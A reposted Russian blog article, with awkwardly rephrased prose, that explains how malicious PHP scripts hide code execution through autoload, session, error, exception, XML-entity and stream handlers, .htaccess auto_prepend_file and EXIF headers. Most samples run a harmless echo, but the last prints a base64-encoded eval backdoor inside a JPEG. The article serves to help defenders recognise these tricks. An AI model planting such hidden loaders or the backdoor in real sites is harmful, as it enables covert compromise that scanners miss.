Главная
Блог разработчиков phpBB
 
+ 17 предустановленных модов
+ SEO-оптимизация форума
+ авторизация через соц. сети
+ защита от спама

Продвинутые способы неявного вызова php кода, применяющиеся во вредных скриптах

Anna | 29.05.2014 | нет комментариев

Логичным продолжением заметки про неявные вызовы php кода во вредных скриптах будет ее вторая часть, в которой я разгляжу больше трудные и менее явственные варианты применения разных обработчиков и загрузчиков php, а в конце статьи приведу несколько примеров, как еще хакеры неявно вызывают вредный код и php скрипты на сайте.

В качестве примера вредного кода вновь будем применять вызов

echo 'Test'

От того что цель статьи показать разные подходы и механизмы спрятанного выполнения кода, то для простоты функция, которая исполняет наш «вредный код» будет объявлена рядом с вызываемым ее неявно кодом. В реальной жизни вредный код и его вызов находятся вдалеке друг от друга, как минимум в различных php скриптах, но Почаще код подгружается из базы данных, мета-данных изображений, с иного сервера, позже чего выполняется функцией eval, assert, preg_replace и им сходственными.

Вариант №1: применение механизма autoload. 

Вредный код вызывается в autoload обработчике при создании несуществующего класса.

<?php
function __autoload($classname) {
  echo 'Test';
}

//...
new myEvilClass();

Вариант №2: применение еще одного механизма autoload в версии 5.3 и выше

<?php
// php >= 5.3.0

class EvilClass {
    static public function evil($name) {
        echo 'Test';
    }
}

// ...

spl_autoload_register(__NAMESPACE__ .'EvilClass::evil'); 

// ...

new Malware; 

Вариант №3: применение обработчика сессии. 

В момент создания сессии будет вызвана зарегистрированная функция.

<?php
function just_do_it() {
  echo 'Test';
}

// ...

$f = function() {};
session_set_save_handler("just_do_it", $f, $f, $f, $f, $f);
@session_start();

Вариант №4: применение итератора.

Для многообразия не будем очевидно объявлять функцию. В приведенном ниже варианте код функции дозволено взять из всякого хранилища в
виде строки и сделать функцию в рантайме.

<?php
$f = create_function('', "echo 'Test';");

// ...

$it = new ArrayIterator(array(''));
iterator_apply($it, $f, array($it));

Вариант №5: вызов через обработчик исключений.

В этом врианте код для вызова может быть передан в качестве текста исключения.

<?php
function exception_handler($e) {
  preg_replace_callback('||', create_function('', $e->getMessage()), ''); 
}

// ...

set_exception_handler('exception_handler');

// ...

throw new Exception('echo "Test";');

Вариант №6: применение обработчика ошибок.

Подход равен №5, но код неявно вызывается способами trigger_error() либо user_error(). Сам код передается через текст ошибки. Стоит подметить, что данное решение работает при всяких настройках error_reporting.

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
  array_map(create_function('', $errstr), array(''));
}

// ...

set_error_handler('error_handler');
$badcode = 'echo "Test";';

trigger_error($badcode, E_USER_ERROR); // либо user_error();

Вариант №7: применение собственного загрузчика сущностей.

Работает начиная с версии 5.4. Вредный код может быть в XML тегах либо в служебных полях документа.

<?php
// для php >= 5.4

$xml =<<<XML
<!DOCTYPE zlodei PUBLIC "echo 'Test';" "http://example/">
<zlodei>bar</zlodei>
XML;

$dtd =<<<DTD
<!ELEMENT zlodei (#PCDATA)>
DTD;

libxml_set_external_entity_loader(
    function ($public, $system, $context) use($dtd) {
       array_reduce(array(''), create_function('', $public)); 
    }
);

// ...

$dd = new DOMDocument;
$r  = $dd->loadXML($xml);
@$dd->validate();

Вариант №8: создание собственного стрима для неявного вызова кода

Регистрируется обработчик потоков и всякими функциями, поддерживающими работу со стримами, дозволено исполнить код, тот, что может быть передан в url либо записан в поток. Для многообразия взамен тривиального eval() код вызывается через create_function().

<?php
class MalwareStream {
    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $f = create_function('', $url["host"]);
        $f();

        return true;
    }
}

// ...

stream_wrapper_register("malw", "MalwareStream");

// ...

$fp = fopen('malw://echo "Test";', '');

В различие от конструкций, перечисленных в предыдущей заметке, найти сходственные неявные вызовы кода при статическом обзоре довольно проблематично. Серверным антивирусным сканерам это пока не под силу.

Бонус трек

Какие еще варианты применяют хакеры, Дабы загрузить и исполнить вредный код?

Во-первых, применение директив php_auto_append / php_auto_prepend в .htaccess файле либо php.ini. Скажем,

php_value auto_prepend_file /images/stories/mycode.jpg

будет исполнять код из файла mycode.jpg перед выполнением всякого скрипта.

Во-вторых, динамическая загрузка растяжений функцией dl(). Для этого должен быть собран .so (*nix) либо .dll (windows) модуль. Это довольно редкий случай, тем не менее и он имеет место быть. Продвинутые хакеры могут разрабатывать и инжектировать модули в апач либо nginx.

В-третьих, есть конструкция c обратными кавычками (являющаяся алиасом для shell_exec):

<?php
$a = `ls -la`; 
echo $a;

Она также исполнит системную команду ls -la, если, безусловно, shell_exec разрешен в настройках php.

И напоследок пример неявного вызова кода, тот, что загружается из exif заголовка jpeg файла.

<?php
$exif = exif_read_data('/home/website/images/stories/food/evil.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

А jpg файл выглядит приблизительно так:

yOya^@^PJFIF^@^A^B^@^@d^@d^@^@ya^@?Exif^@^@II*^@ ^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^ @ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=')); @yi^@^QDucky^@^A^@^D^@^@^@<^@^@yi^@^NAdobe^...

Из поля Make берется /.*/e, из поля Model — @ eval(base64_decode(…)) и выполняется через preg_replace() из-за модификатора «e».

Благодарствую за внимание.

Источник: programmingmaster.ru

Оставить комментарий
Форум phpBB, русская поддержка форума phpBB
Рейтинг@Mail.ru 2008 - 2017 © BB3x.ru - русская поддержка форума phpBB